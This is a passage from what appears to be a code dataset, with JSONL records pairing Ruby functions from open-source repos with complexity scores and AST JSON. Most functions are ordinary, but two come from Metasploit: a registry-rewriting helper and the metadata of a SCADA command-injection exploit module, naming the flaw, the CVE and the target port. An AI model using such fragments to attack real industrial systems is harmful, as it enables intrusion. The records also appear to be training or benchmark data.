end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"change_connection\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"offset\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value_default\",{\"type\":\"str\",\"children\":[\"DefaultConnectionSettings\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value_con\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value_default\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"binary_data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value_con\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary_data\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"offset\"]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"registry_setvaldata\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value_default\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%x\"]},\"%\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary_data\"]},\"to_i\",{\"type\":\"int\",\"children\":[16]}]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]},{\"type\":\"str\",\"children\":[\"REG_BINARY\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RuntimeError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"TimeoutError\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"70981e83-d196-4de4-8f0f-b380c51d1d28"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20130129174845_add_days_visited_to_users.rb","start_line":4,"raw_source":"def change\n    add_column :users, :days_visited, :integer, null: false, default: 0\n\n    execute \"UPDATE users AS u SET days_visited = (SELECT COUNT(*) FROM user_visits AS uv WHERE uv.user_id = u.id)\"\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"days_visited\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"str\",\"children\":[\"UPDATE users AS u SET days_visited = (SELECT COUNT(*) FROM user_visits AS uv WHERE uv.user_id = u.id)\"]}]}]}]}","id":"b7c37a00-9f86-4de6-b535-ebfe89cf78ab"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/test_flight/build.rb","start_line":209,"raw_source":"def update_build_information!(description: nil, feedback_email: nil, whats_new: nil)\n        test_info.description = description if description\n        test_info.feedback_email = feedback_email if feedback_email\n        test_info.whats_new = whats_new if whats_new\n        save!\n      end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update_build_information!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"description\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"feedback_email\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"whats_new\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_info\"]},\"description=\",{\"type\":\"lvar\",\"children\":[\"description\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feedback_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_info\"]},\"feedback_email=\",{\"type\":\"lvar\",\"children\":[\"feedback_email\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"whats_new\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"test_info\"]},\"whats_new=\",{\"type\":\"lvar\",\"children\":[\"whats_new\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"save!\"]}]}]}","id":"5207bfc4-b2f9-4566-8413-c3d1e676c584"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/pretty_text/helpers.rb","start_line":106,"raw_source":"def hashtag_lookup(slug, cooking_user_id, types_in_priority_order)\n      # NOTE: This is _somewhat_ expected since we need to be able to cook posts\n      # etc. without a user sometimes, but it is still an edge case.\n      #\n      # The Discourse.system_user is usually an admin with access to _all_\n      # categories, however if the suppress_secured_categories_from_admin\n      # site setting is activated then this user will not be able to access\n      # secure categories, so hashtags that are secure will not render.\n      cooking_user = User.find_by(id: cooking_user_id) || Discourse.system_user\n\n      types_in_priority_order =\n        types_in_priority_order.select do |type|\n          HashtagAutocompleteService.data_source_types.include?(type)\n        end\n\n      result =\n        HashtagAutocompleteService.new(Guardian.new(cooking_user)).lookup(\n          [slug],\n          types_in_priority_order,\n        )\n\n      found_hashtag = nil\n      types_in_priority_order.each do |type|\n        if result[type.to_sym].any?\n          found_hashtag = result[type.to_sym].first.to_h\n          break\n        end\n      end\n      found_hashtag\n    end","complexity_score":29.9,"ast_json":"{\"type\":\"def\",\"children\":[\"hashtag_lookup\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"slug\"]},{\"type\":\"arg\",\"children\":[\"cooking_user_id\"]},{\"type\":\"arg\",\"children\":[\"types_in_priority_order\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cooking_user\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"cooking_user_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"types_in_priority_order\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types_in_priority_order\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashtagAutocompleteService\"]},\"data_source_types\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HashtagAutocompleteService\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"cooking_user\"]}]}]},\"lookup\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"slug\"]}]},{\"type\":\"lvar\",\"children\":[\"types_in_priority_order\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"found_hashtag\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types_in_priority_order\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]}]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found_hashtag\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]}]},\"first\"]},\"to_h\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"found_hashtag\"]}]}]}","id":"dedda0cc-e9cc-472c-8aef-2f993849829b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/projects/pages/user_adds_domain_spec.rb","start_line":209,"raw_source":"def visit_domains_tab(project)\n    visit project_pages_path(project)\n    click_link('Domains & settings')\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_domains_tab\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[null,\"project_pages_path\",{\"type\":\"lvar\",\"children\":[\"project\"]}]}]},{\"type\":\"send\",\"children\":[null,\"click_link\",{\"type\":\"str\",\"children\":[\"Domains & settings\"]}]}]}]}","id":"aac0ced9-b77d-4d14-bd91-5eb0bc979177"}
{"repo_name":"rails","file_path":"./repos/rails/tools/cve_announcement.rb","start_line":32,"raw_source":"def format_advisory(advisory)\n  text = advisory[:description].dup\n  text.gsub!(\"\\r\\n\", \"\\n\") # yuck\n\n  sections = text.split(/(?=\\n[A-Z].+\\n---+\\n)/)\n  header = sections.shift.strip\n  header = <<EOS\n#{header}\n\n* #{advisory[:cve_id]}\n* #{advisory[:ghsa_id]}\n\nEOS\n\n  sections.map! do |section|\n    section.split(/^---+$/, 2).map(&:strip)\n  end\n\n  sections.unshift(versions_section(advisory))\n  sections.push(patches_section(advisory))\n\n  ([header.strip] + sections.map do |section|\n    title, body = section\n    \"#{title}\\n#{\"-\" * title.size}\\n#{body.strip}\"\n  end).join(\"\\n\\n\")\nend","complexity_score":39.07,"ast_json":"{\"type\":\"def\",\"children\":[\"format_advisory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"advisory\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"advisory\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub!\",{\"type\":\"str\",\"children\":[\"\\r\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"lvasgn\",\"children\":[\"sections\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(?=\\\\n[A-Z].+\\\\n---+\\\\n)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sections\"]},\"shift\"]},\"strip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"header\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"* \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"advisory\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cve_id\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"* \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"advisory\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ghsa_id\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sections\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^---+$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[2]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sections\"]},\"unshift\",{\"type\":\"send\",\"children\":[null,\"versions_section\",{\"type\":\"lvar\",\"children\":[\"advisory\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sections\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"patches_section\",{\"type\":\"lvar\",\"children\":[\"advisory\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header\"]},\"strip\"]}]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sections\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"title\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"lvar\",\"children\":[\"section\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"title\"]},\"size\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"strip\"]}]}]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\\n\"]}]}]}]}","id":"b072cd56-0336-4004-bc54-ec20c7e6e390"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/filters/available_filters.rb","start_line":60,"raw_source":"def available_advanced_filters\n        available_filters.reject do |filter|\n          # Skip the name filter as we have it present as a permanent filter with a text input.\n          filter.is_a?(::Queries::Projects::Filters::NameAndIdentifierFilter)\n        end\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"available_advanced_filters\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_filters\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"is_a?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Queries\"]},\"Projects\"]},\"Filters\"]},\"NameAndIdentifierFilter\"]}]}]}]}","id":"730f0c0d-b04f-4d1b-8a5e-f95d5d07b2f2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/igss_exec_17.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Interactive Graphical SCADA System Remote Command Injection',\n        'Description' => %q{\n          This module abuses a directory traversal flaw in Interactive\n          Graphical SCADA System v9.00. In conjunction with the traversal\n          flaw, if opcode 0x17 is sent to the dc.exe process, an attacker\n          may be able to execute arbitrary system commands.\n        },\n        'Author' => [\n          'Luigi Auriemma',\n          'MC'\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2011-1566'],\n          [ 'OSVDB', '72349'],\n          [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],\n        ],\n        'Platform' => 'win',\n        'Arch' => ARCH_CMD,\n        'Payload' => {\n          'Space' => 153,\n          'DisableNops' => true\n        },\n        'Targets' => [\n          [ 'Windows', {} ]\n        ],\n        'DefaultTarget' => 0,\n        'Privileged' => false,\n        'DisclosureDate' => '2011-03-21',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(12397)\n      ]\n    )\n  end","complexity_score":5.85,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Interactive Graphical SCADA System Remote Command Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module abuses a directory traversal flaw in Interactive\\n\"]},{\"type\":\"str\",\"children\":[\"          Graphical SCADA System v9.00. In conjunction with the traversal\\n\"]},{\"type\":\"str\",\"children\":[\"          flaw, if opcode 0x17 is sent to the dc.exe process, an attacker\\n\"]},{\"type\":\"str\",\"children\":[\"          may be able to execute arbitrary system commands.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Luigi Auriemma\"]},{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2011-1566\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"72349\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://aluigi.org/adv/igss_8-adv.txt\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[153]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2011-03-21\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[12397]}]}]}]}]}]}","id":"ebead9ff-5bb8-4a24-8f19-3d317fe03720"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/admin_user_action_serializer.rb","start_line":34,"raw_source":"def deleted\n    deleted_at.present?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"deleted\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"deleted_at\"]},\"present?\"]}]}","id":"d1b310ab-995b-4b5e-84ad-b3efb9d3e446"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/email_templates_controller.rb","start_line":226,"raw_source":"def format_error_message(update_result, attribute_key)\n    attribute = I18n.t(\"admin_js.admin.customize.email_templates.#{attribute_key}\")\n    message = update_result[:error_messages].join(\"<br>\")\n    I18n.t(\"errors.format_with_full_message\", attribute: attribute, message: message)\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"format_error_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"update_result\"]},{\"type\":\"arg\",\"children\":[\"attribute_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"admin_js.admin.customize.email_templates.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute_key\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_result\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error_messages\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"<br>\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"errors.format_with_full_message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attribute\"]},{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}]}","id":"3ac9dd6e-1add-4c0a-80b5-b9be1d570ac7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/invertible_migration_test.rb","start_line":354,"raw_source":"def test_migrate_nested_revert_whole_migration\n      revert = NestedRevertWholeMigration.new(InvertibleRevertMigration)\n      revert.migrate :down\n      assert revert.connection.table_exists?(\"horses\")\n      revert.migrate :up\n      assert_not revert.connection.table_exists?(\"horses\")\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_migrate_nested_revert_whole_migration\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"revert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NestedRevertWholeMigration\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"InvertibleRevertMigration\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revert\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"down\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revert\"]},\"connection\"]},\"table_exists?\",{\"type\":\"str\",\"children\":[\"horses\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revert\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"up\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"revert\"]},\"connection\"]},\"table_exists?\",{\"type\":\"str\",\"children\":[\"horses\"]}]}]}]}]}","id":"23979200-476f-419f-b1ac-6b5931410ccf"}
{"repo_name":"warden","file_path":"./repos/warden/lib/warden/strategies/base.rb","start_line":137,"raw_source":"def fail!(message = \"Failed to Login\")\n        halt!\n        @message = message\n        @result = :failure\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fail!\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"str\",\"children\":[\"Failed to Login\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"halt!\"]},{\"type\":\"ivasgn\",\"children\":[\"@message\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@result\",{\"type\":\"sym\",\"children\":[\"failure\"]}]}]}]}","id":"557a5258-7935-4c34-a2e9-5f40732389bc"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/top_topic.rb","start_line":235,"raw_source":"def self.update_top_topics(period, sort, inner_join)\n    DB.exec(\n      \"UPDATE top_topics\n                SET #{period}_#{sort}_count = c.count\n                FROM top_topics tt\n                INNER JOIN (#{inner_join}) c ON tt.topic_id = c.topic_id\n                WHERE tt.topic_id = top_topics.topic_id\n                  AND tt.#{period}_#{sort}_count <> c.count\",\n      from: start_of(period),\n    )\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"update_top_topics\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"period\"]},{\"type\":\"arg\",\"children\":[\"sort\"]},{\"type\":\"arg\",\"children\":[\"inner_join\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE top_topics\\n\"]},{\"type\":\"str\",\"children\":[\"                SET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"period\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sort\"]}]},{\"type\":\"str\",\"children\":[\"_count = c.count\\n\"]},{\"type\":\"str\",\"children\":[\"                FROM top_topics tt\\n\"]},{\"type\":\"str\",\"children\":[\"                INNER JOIN (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"inner_join\"]}]},{\"type\":\"str\",\"children\":[\") c ON tt.topic_id = c.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"                WHERE tt.topic_id = top_topics.topic_id\\n\"]},{\"type\":\"str\",\"children\":[\"                  AND 